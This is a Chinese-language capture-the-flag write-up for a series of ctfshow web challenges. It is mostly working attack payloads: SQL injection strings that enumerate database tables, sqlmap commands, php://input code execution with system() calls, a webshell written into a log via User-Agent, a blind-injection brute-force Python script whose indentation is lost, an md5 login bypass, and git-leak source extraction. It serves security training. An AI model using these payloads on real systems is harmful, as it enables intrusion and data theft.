WEB 1
F12查看源代码,发现一串base64
直接解码获得flag
ctfshow{c6111612-f415-4de3-b17a-4eb6113db4ea}
WEB 2
第一种解法
尝试常见的弱口令admin/admin/admin123等无反应
使用万能密码拿到回显
# 账号输入,密码为空
1' or 1=1 #
# 使用order by 测出行数为3
1' or 1=1 order by 3#
# 发现回显为2
1' or 1=1 union select 1,2,3#
# 库名为web2
1' or 1=1 union select 1,database(),3#
# 爆破表名为flag,user
1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#
# 爆破字段
1' or '1'='1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
# 爆破flag
1' or '1'='1' union select 1,group_concat(flag),3 from flag#
第二种解法
输入账号密码进行抓包,
将抓包到的内容保存至1.txt
使用sqlmap跑结果
sudo sqlmap -r 1.txt --dbs --batch
sudo sqlmap -r 1.txt -D web2 --tables --batch
sudo sqlmap -r 1.txt -D web2 -T flag --columns --batch
sudo sqlmap -r 1.txt -D web2 -T flag --dump --batch
WEB 3
根据题目可使用伪协议
https://xxx/?url=php://input
抓包后在重发器可输入php代码
<?php system("ls");?> # 发现ctf_go_go_go
<?php system("cat ctf_go_go_go");?> # 爆破flag
WEB 4
尝试伪协议报错
?url=/var/log/nginx/access.log # 查看nginx日志成功
抓包在User-Agent写入一句话木马
使用蚁剑连接后门获得flag
WEB 5
代码检查v1是否为字母,v2是否为数字
如果v1和v2的md5相等则输出flag
百度相同的md5传入获得flag
WEB 6
经过测试发现题目过滤了空格,使用/**/绕过空格,其余与WEB 2解法相同
WEB 7
经过测试,同样仅过滤了空格,同WEB 2
WEB 8
经过测试,发现过滤很多,学习借鉴别的师傅写出的python脚本试试
import requests
url = 'https://c3dbda6f-8655-422c-b7d3-77a7cc2ed3f3.challenge.ctf.show/index.php?id=-1/**/or/**'
name = ''
for i in range(1,45):
#获取数据库
#payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
#获取表名
#payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
#获取字段名
#payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag")from/**/%d/**/for/**/1))=%d'
#获取flag
#payload = 'ascii(substr((select/**/group_concat(flag)/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在爆破第%d位'%i)
for j in range(31,128):
result = requests.get(url+payload%(i,j))
if 'If' in result.text:
name += chr(j)
print("当前爆破结果为:"+name)
break
count += 1
if count >= (128-31):
print('爆破失败')
exit(0)
WEB 9
手工尝试SQL注入未果,抓包保存为txt丢给sqlmap同样未果
进行目录爆破,发现robots.txt
打开robots.txt发现index.phps
打开后下载出一段代码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
在多次尝试未果后翻看了别的师傅的wp,
ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c
经过MySQL编码后会变成’or’6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密
输如ffifdyop获得flag
WEB 10
这题不会做
观看网上的wp知道
username=admin’//or//1=1//group//by//password//with/**/rollup#&password=
WEB 11
根据源代码可知,只需password与session相等即可
直接抓包将sesssion改为空即可
web 12
F12查看源代码发现注入关键词为cmd
phpinfo(); # 有回显证明有注入漏洞
print_r(glob('*')); # 发现有两个文件
highlight_file('xxx.php'); # 高亮函数打开php获得flag
web 13
不会
web14
一个个试到3弹出登录界面
尝试sqlmap未果
查看源代码发现过滤
-1/**/or/**/true # 寻找注入点
-1/**/or/**/flase
-1/**/or/**/true/**/order/**/by/**/2 # 出错
-1/**/or/**/true/**/order/**/by/**/1 # 正确
-1/**/union/**/select/**/1
-1/**/union/**/select/**/database() # 爆库名
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web' # 爆表名
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content' # 爆字段无反应
看wp发现不知道为什么没回显,回显在源代码里
-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content # 爆数据
1adminflag is not here!,2gtf1ywow,you can really dance,3Wowtell you a secret,secret has a secret…
-1/**/union/**/select/**/load_file('/real_flag_is_here')
给她
根据题目暗示,应该是git泄露
目录爆破
sudo dirb http://xxx # 找到xxx/.git
使用githack下载源代码
sudo python2 GitHack.py https://xxx/.git
查看出现
<? php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
获得注入点,尝试注入发现报错
查看wp
抓包发现file里有一串16进制
解码为flag.txt
改为file:/flag
获得flag
签到题
爆破目录发现/flag
直接下载获得flag